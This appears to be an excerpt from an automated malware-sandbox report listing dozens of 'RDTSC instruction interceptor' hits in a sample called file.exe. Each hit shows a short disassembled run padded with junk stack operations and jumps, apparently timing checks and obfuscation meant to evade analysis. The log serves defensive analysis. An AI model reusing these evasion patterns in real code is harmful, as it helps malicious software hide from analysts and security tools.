Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96CB49 second address: 96CB76 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBF90902F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FEBF90902EDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96CB76 second address: 96CB7B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96CB7B second address: 96CBDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEBF90902F9h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov edx, 7469EB36h 0x00000012 push 00000004h 0x00000014 push 00000000h 0x00000016 push edx 0x00000017 call 00007FEBF90902E8h 0x0000001c pop edx 0x0000001d mov dword ptr [esp+04h], edx 0x00000021 add dword ptr [esp+04h], 0000001Bh 0x00000029 inc edx 0x0000002a push edx 0x0000002b ret 0x0000002c pop edx 0x0000002d ret 0x0000002e mov cl, al 0x00000030 push eax 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007FEBF90902F1h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96CBDE second address: 96CBE8 instructions: 0x00000000 rdtsc 0x00000002 js 00007FEBF907CE56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96CF44 second address: 96CF57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEBF90902EFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96CF57 second address: 96CF5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96D3F1 second address: 96D3F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96D3F6 second address: 94DF62 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBF907CE64h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ecx 0x0000000b pushad 0x0000000c push edi 0x0000000d pop edi 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 pop ecx 0x00000012 nop 0x00000013 mov edi, 5B305BB4h 0x00000018 mov edx, 61B1CDCFh 0x0000001d lea eax, dword ptr [ebp+1248FE36h] 0x00000023 xor dh, 00000074h 0x00000026 push eax 0x00000027 push eax 0x00000028 jbe 00007FEBF907CE5Ch 0x0000002e jng 00007FEBF907CE56h 0x00000034 pop eax 0x00000035 mov dword ptr [esp], eax 0x00000038 mov dword ptr [ebp+122D1DB2h], eax 0x0000003e call dword ptr [ebp+1245AB3Ah] 0x00000044 push eax 0x00000045 push eax 0x00000046 push edx 0x00000047 pushad 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A5F37 second address: 9A5F3D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A639B second address: 9A63A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A63A1 second address: 9A63A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A63A5 second address: 9A63C2 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FEBF907CE56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FEBF907CE5Fh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A63C2 second address: 9A63C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 925AA7 second address: 925AC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FEBF907CE63h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AD6D3 second address: 9AD6D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AD6D9 second address: 9AD6E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 je 00007FEBF907CE62h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B03BC second address: 9B03C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AFE52 second address: 9AFE56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B0004 second address: 9B000A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B000A second address: 9B0017 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jng 00007FEBF907CE56h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B6B72 second address: 9B6B76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B53FC second address: 9B5406 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FEBF907CE56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B5406 second address: 9B5416 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edi 0x00000004 pop edi 0x00000005 jng 00007FEBF90902E6h 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B5416 second address: 9B542B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEBF907CE61h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B542B second address: 9B542F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B542F second address: 9B543C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B543C second address: 9B544F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jg 00007FEBF90902ECh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B544F second address: 9B5476 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FEBF907CE69h 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B5476 second address: 9B547A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B55CF second address: 9B55D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96CD70 second address: 96CD76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96CD76 second address: 96CDC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 mov dword ptr [esp], eax 0x00000009 mov ebx, dword ptr [ebp+1248FE75h] 0x0000000f push 00000000h 0x00000011 push ebp 0x00000012 call 00007FEBF907CE58h 0x00000017 pop ebp 0x00000018 mov dword ptr [esp+04h], ebp 0x0000001c add dword ptr [esp+04h], 00000019h 0x00000024 inc ebp 0x00000025 push ebp 0x00000026 ret 0x00000027 pop ebp 0x00000028 ret 0x00000029 jne 00007FEBF907CE59h 0x0000002f mov edx, dword ptr [ebp+122D1CEEh] 0x00000035 add eax, ebx 0x00000037 movsx edx, ax 0x0000003a push eax 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96CDC1 second address: 96CDC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96CDC5 second address: 96CDCB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96CDCB second address: 96CDD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96CDD1 second address: 96CDD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96CDD5 second address: 96CE00 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBF90902EFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e mov edx, dword ptr [ebp+122D232Bh] 0x00000014 push 00000004h 0x00000016 mov cx, 0729h 0x0000001a nop 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96CE00 second address: 96CE0A instructions: 0x00000000 rdtsc 0x00000002 jne 00007FEBF907CE56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BA8BC second address: 9BA8CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBF90902EAh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BA8CA second address: 9BA8D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007FEBF907CE56h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BA8D8 second address: 9BA8E2 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FEBF90902E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BA8E2 second address: 9BA8F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FEBF907CE5Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BA8F7 second address: 9BA907 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FEBF90902E6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BA907 second address: 9BA927 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FEBF907CE5Eh 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jp 00007FEBF907CE56h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BA927 second address: 9BA92B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BA92B second address: 9BA933 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BAA64 second address: 9BAA6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop esi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BAA6B second address: 9BAA73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BAA73 second address: 9BAA77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BAB8E second address: 9BAB96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BAB96 second address: 9BABB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FEBF90902E6h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c popad 0x0000000d pop ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FEBF90902F3h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BAE99 second address: 9BAEA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push esi 0x00000007 pop esi 0x00000008 jne 00007FEBF907CE56h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BE2AD second address: 9BE2BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 je 00007FEBF90902E6h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BE2BA second address: 9BE2C9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 jp 00007FEBF907CE56h 0x0000000b pop ecx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BE2C9 second address: 9BE2FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jo 00007FEBF90902E6h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 jns 00007FEBF90902E6h 0x00000018 jmp 00007FEBF90902F9h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BDA22 second address: 9BDA52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jnp 00007FEBF907CE56h 0x0000000b jng 00007FEBF907CE56h 0x00000011 popad 0x00000012 jmp 00007FEBF907CE5Fh 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b pushad 0x0000001c popad 0x0000001d push edi 0x0000001e pop edi 0x0000001f js 00007FEBF907CE56h 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BDCD0 second address: 9BDCD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BDCD6 second address: 9BDCDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BDCDA second address: 9BDCFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FEBF90902F9h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BDCFB second address: 9BDD02 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BDFD7 second address: 9BDFE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jnc 00007FEBF90902E6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BDFE3 second address: 9BE004 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FEBF907CE5Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d jc 00007FEBF907CE66h 0x00000013 push eax 0x00000014 push edx 0x00000015 jno 00007FEBF907CE56h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C36CA second address: 9C36CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C36CF second address: 9C36D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C36D5 second address: 9C36DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C384B second address: 9C3851 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C3851 second address: 9C3855 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C3855 second address: 9C385D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C3DE0 second address: 9C3DE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C412D second address: 9C4139 instructions: 0x00000000 rdtsc 0x00000002 js 00007FEBF907CE5Eh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C4139 second address: 9C414C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jg 00007FEBF90902E8h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C4C4C second address: 9C4C61 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FEBF907CE56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b jng 00007FEBF907CE97h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C4C61 second address: 9C4C7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEBF90902F9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C4F07 second address: 9C4F0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C5199 second address: 9C519D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C519D second address: 9C51AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C51AB second address: 9C51AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C51AF second address: 9C51B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C51B9 second address: 9C51BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C8FCD second address: 9C8FD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C8FD3 second address: 9C8FDD instructions: 0x00000000 rdtsc 0x00000002 js 00007FEBF90902E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CE301 second address: 9CE305 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CE305 second address: 9CE334 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBF90902F3h 0x00000007 jmp 00007FEBF90902F8h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CE334 second address: 9CE34B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FEBF907CE60h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CE34B second address: 9CE353 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D6739 second address: 9D6741 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D4966 second address: 9D496E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D4DBF second address: 9D4DC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D4DC5 second address: 9D4DD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jng 00007FEBF90902F9h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D4DD2 second address: 9D4DE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEBF907CE5Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D4DE3 second address: 9D4DEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D4F85 second address: 9D4FC9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBF907CE69h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FEBF907CE67h 0x00000012 jmp 00007FEBF907CE5Ch 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D4FC9 second address: 9D4FCD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D4FCD second address: 9D4FD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D5425 second address: 9D5432 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D5767 second address: 9D5788 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FEBF907CE56h 0x0000000a jmp 00007FEBF907CE63h 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
